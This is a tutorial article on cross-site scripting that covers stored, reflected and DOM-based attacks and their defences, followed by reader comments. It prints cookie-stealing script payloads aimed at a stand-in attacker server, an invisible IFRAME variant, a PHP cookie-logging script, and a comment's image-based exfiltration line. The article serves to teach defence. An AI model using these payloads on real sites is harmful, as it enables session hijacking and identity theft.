Grabbing second position in OWASP’s latest Top Ten critical Web application security risks — after SQL injection flaws — is XSS. (By the way, the different first letter is used to avoid confusion with CSS — Cascading Style Sheets.) The security consortium says that XSS accounts for about 39 per cent of vulnerabilities in Web applications.
So what is XSS?
OWASP defines XSS as a flaw that occurs when an application includes user-supplied data in a page sent back to the browser, without properly validating or escaping that data. XSS attacks are essentially code-injection attacks, which exploit the interpretation process of the Web application in the browser.
These attacks are carried out mainly on online message boards, blogs, guest books, and user forums (collectively called “boards”, in the rest of the article), where messages are permanently stored. They are created using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side scripting technologies.
The goal of an XSS attack is to steal client authentication cookies, and any other sensitive information that can authenticate the client to the website. With a captured (legitimate) user token, an attacker can impersonate the user, leading to identity theft.
Unlike most attacks, which involve two parties (the attacker and the website, or the attacker and the victim/client), the XSS attack involves three parties: the attacker, the victim/client, and the website.
An XSS attack tricks a legitimate user by posting a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the users once they click the link. This seemingly harmless website can be (and is, in many cases) a phishing clone of a page in the original website the user is browsing; it may prompt users for their username and password. Alternately, it may be just a “thank you” page, which steals the users’ cookies in the background, without their knowledge.
How an XSS attack works
XSS exploit code is typically (but not always) written in HTML/JavaScript to execute in the victim’s browser. The server is merely the host for the malicious code. The attacker only uses the trusted website as a conduit to perform the attack.
Typical XSS attacks are the result of flaws in server-side Web applications, and are rooted in user input which is not properly sanitised for HTML characters. If the attackers can insert arbitrary HTML, then they could control the execution of the page under the permissions of the site. Common points where XSS opportunities exist for an attacker are “confirmation” or “result” pages (for example, search engines that echo back the user-input search string) or form-submission error pages that help the user by filling in parts of the form which were correctly entered.
A simple PHP page containing code like the following, is vulnerable to XSS!
<?php echo "Hello, {$HTTP_GET_VARS['name']}!"; ?>
Once the page containing this code is accessed, the variable sent via the GET method (a.k.a. querystring) is output directly to the page that PHP is rendering. If you pass legitimate data (for example, the string “Arpit Bajpai”) as an argument, the URL would be something like http://localhost/hello.php?name=Arpit%20Bajpai
(assuming you’re running the server locally on your system, which you should be if you are trying this out). The output of this is harmless, as shown in Figure 1.
Now, for a little tampering in the URL, we change it to: http://localhost/hello.php?name=<h1><u>Hacked</u></h1>
The result is shown in Figure 2. It still looks relatively innocuous, but the fact that the input is not validated by the PHP script before outputting it to the victim’s Web browser opens the way for more harmful HTML to be included into the vulnerable page.
As in most cases, the main aim of an XSS attack is to steal the user’s authentication cookie. Shown below is a typical XSS attack attempt that has been done by posting malicious JavaScript to an online message board, and grabbing the user’s cookie.
<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>
When victims click on the link containing this malicious code, they might get redirected to the home page, but their cookies will be sent to the cookie.php
“cookie fetcher” PHP script on the attacker’s server. A typical cookie fetcher script might look like what’s shown below:
<?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a");; $referer=getenv ('HTTP_REFERER'); $fp = fopen('cookies.html', 'a'); fwrite($fp, 'Cookie: '.$cookie.'<br> IP: '.$ip.'<br> Date and Time: '.$date.'<br> Referer: '.$referer.'<br><br><br>'); fclose($fp); header ("Location: http://www.vulnerablesite.com"); ?> <HTML></HTML>
This file will retrieve the cookies and append them to a cookie.html
file on the attacker’s server. Other details saved at the same time include the IP address of the victim’s Net connection, the date and time at which the cookie was fetched, and the HTTP referrer — i.e., the site on which the victim clicked the malicious link to the attacker’s cookie.php
.
With this information, the attacker can then connect to the board website, supplying the captured cookie, and thus pretending to be the victim user.
Now, most savvy victims get suspicious when they are redirected to the home page, or see something unusual, which is not part of the Web application’s normal execution. For such victims, attackers mostly prefer using IFRAMEs in their attack script, like what’s shown below:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location= “http://attackerserver/cookie.php?c=“+document.cookie)></iframe>
When victims click the message with the above script in the body, they will experience nothing unusual in the application’s normal behaviour — yet, their cookies will be sent to cookie.php
on the attacker’s server. This is how a typical XSS attack is done.
Types of XSS vulnerabilities
Most XSS vulnerabilities are classified into three types, based on how the attacker exploits the processing of the code they injected, by the Web application. These types are:
- Persistent or stored vulnerabilities
- Non-persistent or reflected vulnerabilities
- DOM-based or local vulnerabilities
Let’s look at each of these in turn.
Persistent or stored vulnerabilities
The persistent XSS vulnerability is the most powerful and effective of all. It exists when data that’s provided to a Web application by a user is first stored persistently on the server (in a database, file system, or other storage), and later displayed to users in a Web page without being properly sanitised.
The attack scenario on an online message board, given above, is a classic example of this. An attack based on a persistent vulnerability is visualised in Figure 3.
The procedure is that the attacker first injects a malicious script through an input Web form. This is then stored by the server in its database. When any user requests the page, the malicious script is rendered into it. Anyone who clicks the link (or merely views the message, in case of the IFRAME-based attack) becomes a victim, as the malicious script is executed in the victim’s browser, passing the authentication cookies back to the attacker.
This type of vulnerability is very effective, since the attacker can target several users of the server — whoever clicks on the link or message.
Non-persistent or reflected vulnerabilities
The non-persistent XSS vulnerability is by far the most widely exploited. This type of XSS vulnerability is commonly triggered by server-side scripts that use non-sanitised user-supplied data when rendering the HTML document.
For example, an attacker finds an XSS vulnerability in a Web application, where the application’s script displays the criteria used in the website query, as well as the results for the query. The usual URL in the browser might be http://www.example.com/search.php?query=products
. Normally, this link would display products available from the website. Once the attackers find the vulnerability, in an effort to hijack the victim’s credentials, they might post a modified link (which changes the known variables) to the victim: http://www.example.com/search.php?query=<script>alert(document.cookie)</script>
Clicking this link will cause the victims’ browser to pop up an alert box showing their current set of cookies. This particular example is harmless; an attacker can do much more damage, including stealing passwords, resetting the victim’s home page, or redirecting the victim to another website, by using modified JavaScript code.
A visualisation of an attack using a reflected vulnerability is shown in Figure 4.
Now, embedding such bulky scripts might draw the victim’s attention, so attackers simply convert these into hexadecimal format using one of the many converters available, such as http://code.cside.com/3rdpage/us/url/converter.html
. Moreover, if the malicious script is quite big, then URL-shortening services like Tiny URL are used to create a short URL that maps to the long one.
DOM-based or local vulnerabilities
DOM-based XSS vulnerabilities exist within the sites’ HTML (as a static script) and can be exploited non-persistently. A brief example of a DOM-based XSS vulnerability would be a static script embedded in a page, which, when executed, uses a DOM function like document.write
to display the results of a POST variable.
The only real difference in the DOM-based vulnerability is that the server doesn’t send back the results; instead, the DOM parses the code locally, and the malicious script is executed with the same privilege as the browser on the victim’s machine. Consider a scenario where a vulnerable site has the following content (named, for example, http://www.example.com/welcome.html
):
<HTML> <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our site … </HTML>
Normally, the code in this page would welcome the user, if invoked with the following URL: http://www.example.com/welcome.html?name=Joe
However, a little tampering with this URL results in displaying the users’ cookies in their browser, if they click the URL hyperlink: http://www.example.com/welcome.html?name=<script>alert(document.cookie)</script>
What happens is that to open this URL, the victim’s browser sends an HTTP request to www.example.com
. It receives the above (static) HTML page. The victim’s browser then starts parsing this HTML into DOM. In this case, the code references document.URL
, and so, a part of this string is embedded at parsing time in the HTML. It is then immediately parsed, and the malicious JavaScript code passed through the URL is executed in the context of the same page, resulting in an XSS attack.
You might realise here that the payload did arrive at the server (in the query part of the HTTP request), and so it could be detected just like any other XSS attack — but attackers even take care of that with something like the following: http://www.example.com/welcome.html#name=<script>alert(document.cookie)<script>
Notice the hash sign (#
) used here; it tells the browser that everything beyond it is a fragment, and not part of the query. IE (6.0) and Mozilla do not send the fragment to the server, and for these browsers, the server would only see http://www.example.com/welcome.html
, with the payload remaining hidden.
Latest trends in XSS
Meta-information XSS (miXSS)
This new type of XSS vulnerability has emerged recently, and exploits commonly used network administration utilities. It is found in those services that utilise valid user-provided input to gather data and display it for the user. It is in this data that the cross-site scripting occurs. Attackers can extract information about network administration utilities. Websites that allow you to perform DNS resolution, and websites that verify SPF records are more vulnerable to miXSS attacks. To learn more about miXSS, check the resources at the end of this article.
XSS Shell
The XSS Shell is a tool that can be used to set up an XSS channel between a victim and an attacker, so that an attacker can control a victim’s browser, sending it commands. The communication is bi-directional.
XSS Tunnel
This is a GPL-licensed open source application written in .NET, and is the standard HTTP proxy which sits on an attacker’s system. It enables tunnelling of HTTP traffic through an XSS channel, to use virtually any application that supports HTTP proxies.
XSS causing DDoS attacks
Recent trends have seen attackers using XSS-vulnerable sites as an initiator step in performing DDoS (Distributed Denial of Service) attacks. They trick users into downloading and installing plugins. When the user clicks the download link, besides the plugin, a worm or bot (in most cases) gets installed in the background. This worm/bot can give the attacker full privileges over the user’s system, and the attacker can then use it to perform DoS attacks, or to spread the botnet.
Securing a server against XSS
Cross-site scripting is a potential risk for most Web servers and browsers. Attackers are constantly coming up with new types of this attack, but the following best practices can help you secure your system against attackers.
For clients or users
Take a serious and suspicious view of emails or spam mail that contain big, bulky and suspicious URLs. Don’t click such links, even if they are to known and trusted sites. Many of these messages try various tricks to coax you into clicking the link. Some of these include offers to make you financially strong and independent; others threaten that you will lose your account on a (legitimate) website unless you “confirm your username and password immediately”. Think hard and deep before you click such links, especially with the knowledge you have gained from this article. Obviously, exercise the same level of caution on online message boards and social networking sites as well.
Recent versions of Mozilla Firefox display good security features. For example, Firefox automatically encodes <
and >
(into %3C
and %3E
, respectively) in the document.URL
property, when the URL is not directly typed into the address bar. Therefore, it is not vulnerable to DOM-based attacks. For additional security, install browser addons (extensions) such as NoScript, FlashBlock, and the Netcraft toolbar.
You could also try using the Google Chrome browser, which is released with integrated XSS protection.
If you run into a doubtful link that you still want to open, if you don’t use Firefox with NoScript, you should disable JavaScript, Java (and Active X, if you’re on Windows) before you click the link. Alternately, visit the website by typing its address directly into your browser.
If a link is to a URL-shortening service like “tiny”, “tinyurl”, “bit.ly”, “is.gd”, “shorturl”, “snipurl”, etc., be careful when clicking the link. You may even want to install a second browser for “untrusted” sites; in this browser, do not sign in to any of your trusted and valuable sites, but use it to visit suspicious URLs. If there is actually an attack behind the URL, even if successful, it will probably not net the attacker any useful cookies.
For developers
The best way to check your website for vulnerabilities is to run a Web application security scan against a local copy of it. The best FOSS project available for this is Nikto.
The next preferred option is to properly escape all untrustworthy data, based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.
Filtering script output can also defeat XSS vulnerabilities by preventing them from being transmitted to users. When filtering dynamic content, select the set of characters that is known to be safe, instead of trying to exclude the set of characters that might be bad. This is preferable because it’s unclear whether there could be any other characters or character combinations that can be used to expose other vulnerabilities.
Check all headers, cookies, query strings, form and hidden fields, and all other parameters against tags such as <script>
, <object>
, <applet>
, <form>
, and <embed>
. Also, do not echo any input value without validation.
Do not store plain-text or weakly encrypted passwords/contents in a cookie. Merely hashing the password with MD5 is not strong, since they are just 16 bytes in length, and hence can easily be deciphered with a brute-force method.
If possible/practicable, the cookie’s authentication credentials should be associated with a source IP address. Discovering the same cookie coming from different IPs should raise a red flag.
If possible, eliminate single sign-on, and apply password re-verification to avoid session takeover attacks. An attack against a site running with single sign-on has a better chance of being executed without the user noticing.
Using free hosting sites is an essential building block in the attackers’ scheme. Free hosting sites need to be more vigilant about who uses their services, and enterprises should consider blacklisting suspicious IP addresses. Also, if people host scripts like cookie fetchers, they should be monitored for illegal activities on the site.
Cookies sent over HTTP(S) cannot be accessed by script via document.cookie
so try sending cookies over HTTPS only. Also, try using the POST method for form submissions, instead of GET.
Tools of the security trade
- Dotdefender is a Web application attack protection tool that blocks attacks that are manifested within the HTTP request logic. It works perfectly for SQL injection, cross-site scripting, and header tampering. View its documentation here.
- KeepNI immediately alerts you if there is any malfunction detected on your website. It assures that your site is fully functional all the time. View its documentation here.
- Web application firewalls check for malicious input values and modification of read-only parameters and also block requests and filter out parameters. Their biggest benefit is to protect old (legacy) applications that are insecure.
Since XSS exploits the trust the user has in the website, it is equally relevant that the user remains extremely cautious. For more detailed information on XSS and more defenses, don’t forget to visit the Resources section below. We will deal with other dangerous attacks on Web applications and Apache in the next article. Meanwhile, you can leave your queries and constructive feedback in comments.
Always remember: know hacking, but no hacking!
Resources
- Meta-Information Cross Site Scripting [PDF]
- xssed.com is one of the best resources for XSS information
- Syngress’s XSS Attacks Cross Site Scripting Exploits and Defense by Jeremiah Grossman, Robert ‘Rsnake’ Hansen and others, is a must-read for those who are really interested.
This is a really good post.
A couple of comments.
Cookies are often stolen using javascript images:
var img = new Image(); img.src = “http://attackerserver/cookie.php?c=”+document.cookie
When using an image like this, there is nothing at all displayed in the page.
I would also argue that XSS is very often used to inject malware into the browser and taking over the victims computer. Imho it’s used more often for this purpose, than stealing cookies.
Also properly encoding output according to the OWASP cheat sheet as you are writing the application should be the preferred solution. It’s better to fix the flaws while you are writing the code, instead of trying to find and patch them later. Scanners rarely or never find all flaws, unfortunately.
how we can tweak webserver like Apache to prevent this kind of attack to a perticular extend?